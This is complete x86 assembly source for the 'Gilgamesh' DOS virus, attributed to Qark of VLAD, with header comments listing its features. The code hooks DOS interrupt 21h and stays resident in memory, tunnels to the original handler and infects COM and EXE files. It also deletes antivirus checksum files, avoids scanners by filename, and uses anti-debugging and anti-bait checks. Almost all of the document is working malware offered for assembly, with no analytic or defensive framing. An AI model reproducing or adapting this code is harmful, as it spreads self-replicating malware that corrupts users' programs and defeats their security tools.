; ; Gilgamesh Virus ; by ; Qark [VLAD] ; ; ; Gilgamesh does this stuff: ; Infects COM and EXE ; Deletes AV checksum files ; Contains anti-debugging code ; Uses recursive tunneling ; Doesn't infect AV programs ; Contains anti-bait code - ; (I invented these next two ideas I think) ; Won't infect files with numerics in the name ; Won't infect files/directories with 'vir' as part of the name ; Won't infect files with todays date. ; Highly polymorphic (Will discuss the engine separately) ; ; ; The DOS interrupt call at the beginning of the virus serves 4 purposes. ; 1) It does the residency check ; 2) It gets the DOS segment for the tunneller ; 3) The return from the int leaves the delta offset on the stack ; 4) Performs anti-debugging, because debuggers will destroy the stack ; ; Gilgamesh is named after the God-Emperor of Mesopotamia. ; ; Assemble using a86. It will want an include file 'vipz.asm', which is the ; next article. org 0 ;Get DOS list of lists & our residency check. mov ax,5253h int 21h our_offset: cld ;Anti-Debugging, Anti-Heuristic way of getting our delta offset. mov bp,sp mov di,[bp-6] sub di,offset our_offset ;DI = delta offset mov si,di cmp ax,5352h jne not_resident push ds pop es jmp exit_virus not_resident: mov word ptr [di+loopcount],0 mov word ptr [di+dosseg],es push ds pop es ;0008:0004 is the int21 vector address. mov ax,8 mov ds,ax mov si,4 ;Save int 21 address incase we can't find it. mov ax,word ptr [si] mov word ptr cs:[di+adr21],ax mov ax,word ptr [si+2] mov word ptr cs:[di+adr21+2],ax ;Recursive Tunneler. ; ;The loop below traces through the int 21 code looking for the ;original handler. get32ptr: ;DS:SI points to int 21h lds si,ds:[si] mov ax,ds cmp ax,word ptr cs:[di+dosseg] je founddos next_opcode: lodsb cmp al,0eah ;JMP FAR PTR je get32ptr cmp al,9ah ;CALL FAR PTR je get32ptr inc word ptr cs:[di+loopcount] cmp word ptr cs:[di+loopcount],1000 je nodos jmp next_opcode founddos: mov word ptr cs:[di+adr21],si mov word ptr cs:[di+adr21+2],ds nodos: mov si,di xor di,di ;Get MCB seg. mov ax,es dec ax mov ds,ax ;'Z' MCB. cmp byte ptr [di],'Y' jb exit_virus sub word ptr [di+12h],((offset virus_size/10h)+1)*3 sub word ptr [di+3],((offset virus_size/10h)+1)*3 mov ax,word ptr [di+12h] push es mov es,ax push cs pop ds push si mov cx,offset virus_size rep movsb ;Set int 21. mov ds,cx mov si,21h*4 mov di,offset i21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es pop si pop es exit_virus: push es pop ds ;If CS != SS then it must be EXE. mov ax,cs mov bx,ss cmp ax,bx jne exe_exit com_exit: mov di,100h-2 scasw push di mov ax,1111h org $-2 first2 dw 20cdh stosw mov ax,1111h org $-2 third dw 90h stosw zero_regs: xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di ret exe_exit: mov ax,ds add ax,10h add word ptr cs:[si+offset exe_return+2],ax call zero_regs mov ax,ds add ax,10h add ax,0 org $-2 orig_ss dw 0 mov ss,ax mov sp,0 org $-2 orig_sp dw 0 jmp short $+2 xor ax,ax db 0eah ;JMP FAR PTR exe_return dd 0 sig db ' =Gilgamesh= by Qark - A VLAD Australia Production' Int21handler: cmp ax,5253h jne not_res_chk xchg ah,al iret not_res_chk: pushf push ax xchg ah,al cmp al,4bh je check_infect cmp al,6ch je check_infect cmp al,3dh je check_infect exit_handler: pop ax popf db 0eah i21 dd 0 check_infect: push bx push cx push dx push si push di push ds push es cmp al,6ch jne no_fix_6c mov dx,si no_fix_6c: ;Get fully qualified filename. mov si,dx mov di,offset filename push cs pop es mov ah,60h call int21h push cs pop ds cld ;Calculate the length of the name string. mov di,offset filename mov al,0 mov cx,129 repne scasb sub di,offset filename mov word ptr namelength,di mov bx,'RI' ;Search for the string, VIR mov al,'V' mov cx,word ptr namelength next_letter: mov di,offset filename repne scasb jne no_letter_found cmp word ptr [di],bx jne next_letter no_inf_jmp: jmp no_infection no_letter_found: mov di,offset filename add di,word ptr namelength sub di,4 cmp word ptr [di],'XE' jne trycom cmp byte ptr [di+2],'E' jne no_inf_jmp jmp short found_exe trycom: cmp word ptr [di],'OC' jne no_inf_jmp cmp byte ptr [di+2],'M' jne no_inf_jmp found_exe: mov al,'\' std mov cx,14 repne scasb inc di inc di cld mov ax,word ptr [di] cmp ax,'CS' ;SCan, SCandisk je no_inf_jmp2 cmp ax,'BT' ;TBscan, TBclean etc je no_inf_jmp2 cmp ax,'-F' ;F-prot je no_inf_jmp2 cmp ax,'UG' ;GUard (solomans) je no_inf_jmp2 cmp ax,'VA' ;AVp je no_inf_jmp2 cmp ax,'VD' ;DV je no_inf_jmp2 cmp ax,'HC' ;CHkxxx je no_inf_jmp2 cmp ax,'RP' ;PRogman.exe je no_inf_jmp2 ;Now make sure there are no numerics in the filename. mov si,di oknumeral: lodsb cmp al,'.' je done_name cmp al,'0' jb oknumeral cmp al,'9' ja oknumeral no_inf_jmp2: jmp no_infection done_name: ;Remove readonly attribute. mov ax,143h mov dx,offset filename xor cx,cx call altint21h jc no_inf_jmp2 ;Open file. mov ax,3d02h call int21h jc no_inf_jmp2 ;File handle into BX xchg bx,ax ;Get date and time mov ah,2ah call int21h ;Convert into file date format xchg cx,ax sub ax,1980 mov cl,4 shl ax,cl or al,dh mov cl,5 shl ax,cl or al,dl ;If file date = todays date, then don't infect. push ax mov ax,5700h call int21h pop cx cmp cx,dx jne save_time bad_time: jmp com_close_quit save_time: mov ax,5700h call int21h mov word ptr time,cx mov word ptr date,dx mov ah,3fh mov dx,offset readbuffer mov cx,100 call int21h jc bad_time mov si,offset readbuffer ;Check for an EXE header. mov ax,word ptr [si] or ax,2020h ;Convert 2 lower-case, anti-heuristic cmp ax,'zm' je exe_header cmp ax,'mz' je exe_header ;Save the first 3 bytes. lodsw mov word ptr first2,ax lodsw mov word ptr third,ax cmp ah,'V' je bad_time ;Lseek to the end. call lseek_end ;Check the file size. or dx,dx jnz com_close_quit cmp ax,2000 jb com_close_quit cmp ax,60000 ja com_close_quit push ax add ax,100h mov word ptr delta,ax pop ax ;Calculate the jump offset. sub ax,3 mov word ptr new3+1,ax mov al,1 call setup_poly ;Write the virus. mov al,40h mov dx,offset stackend call altint21h jc com_close_quit ;Lseek to the start. call lseek_start ;Write the jump. mov al,40h mov cx,4 mov dx,offset new3 call altint21h call chksum_files time_close: ;Restore time. mov ax,157h mov cx,word ptr time mov dx,word ptr date call altint21h com_close_quit: jmp close_quit exe_header: cmp word ptr [si+1ah],0 ;Overlays. jne com_close_quit cmp word ptr [si+18h],40h ;NewEXE jae com_close_quit cmp word ptr [si+0ch],0ffffh ;Maxmem jne com_close_quit cmp word ptr [si+12h],0 ;Infected ? jne com_close_quit mov ax,word ptr [si+0eh] mov word ptr orig_ss,ax mov ax,word ptr [si+10h] mov word ptr orig_sp,ax ;Saved the SS:SP push si add si,14h mov di,offset exe_return movsw movsw ;Saved the CS:IP pop si call lseek_end ;Check for overlays. push dx push ax mov cx,512 div cx inc ax cmp word ptr [si+4],ax pop ax pop dx ja com_close_quit cmp dx,7 ja com_close_quit or dx,dx jnz no_small_check cmp ax,5000 jb com_close_quit no_small_check: mov cx,16 div cx sub ax,word ptr [si+8] mov word ptr [si+14h],dx mov word ptr [si+16h],ax mov word ptr delta,dx add dx,offset stackend-16 and dx,0fffeh inc ax mov word ptr [si+0eh],ax mov word ptr [si+10h],dx mov al,0 call setup_poly mov al,40h mov dx,offset stackend call altint21h jc close_quit call lseek_end mov cx,512 div cx or dx,dx jz no_page_fix inc ax no_page_fix: mov word ptr [si+4],ax mov word ptr [si+2],dx zero_ax: in ax,40h or ax,ax jz zero_ax mov word ptr [si+12h],ax call lseek_start mov al,40h mov cx,1ch mov dx,si call altint21h call chksum_files jmp time_close close_quit: ;Close file. mov ah,3eh call int21h no_infection: pop es pop ds pop di pop si pop dx pop cx pop bx jmp exit_handler ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� altint21h: xchg ah,al ;Backwards int 21 int21h: pushf db 9ah adr21 dd 0 ret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� lseek_start: mov al,0 jmp short lseek lseek_end: mov al,2 lseek: mov ah,42h xor cx,cx cwd call int21h ret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� chksum_files: ;Deletes AV checksum files. push ax push cx push dx push si push di mov di,offset filename add di,word ptr namelength ;Find \ std mov al,'\' mov cx,16 repne scasb cld scasw ;ADD DI,2 mov si,offset crc_files outer_crc: push di crc_loop: movsb cmp byte ptr [si-1],0 jne crc_loop mov ah,41h ;Delete file mov dx,offset filename call int21h pop di cmp si,offset end_crc jb outer_crc pop di pop si pop dx pop cx pop ax ret crc_files db 'ANTI-VIR.DAT',0 db 'CHKLIST.CPS',0 db 'CHKLIST.MS',0 db 'CHKLIST.TAV',0 db 'SMARTCHK.CPS',0 db 'AVP.CRC',0 db 'IVB.NTZ',0 end_crc: ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Setup_poly: ;AL=1 if com file. ;Returns CX=size to write plus stuff in stackend push ax push bx push dx push bp push si push di xor si,si mov di,offset stackend mov cx,offset virus_size mov bp,word ptr delta call vip pop di pop si pop bp pop dx pop bx pop ax ret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� include vipz.asm ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� new3 db 0e9h,0,0,'V' delta dw 0 time dw 0 date dw 0 loopcount dw 0 dosseg dw 0 virus_size: namelength dw 0 filename db 128 dup (0) readbuffer db 128 dup (0) db (offset virus_size - ($-offset virus_size)) dup (0) stackend: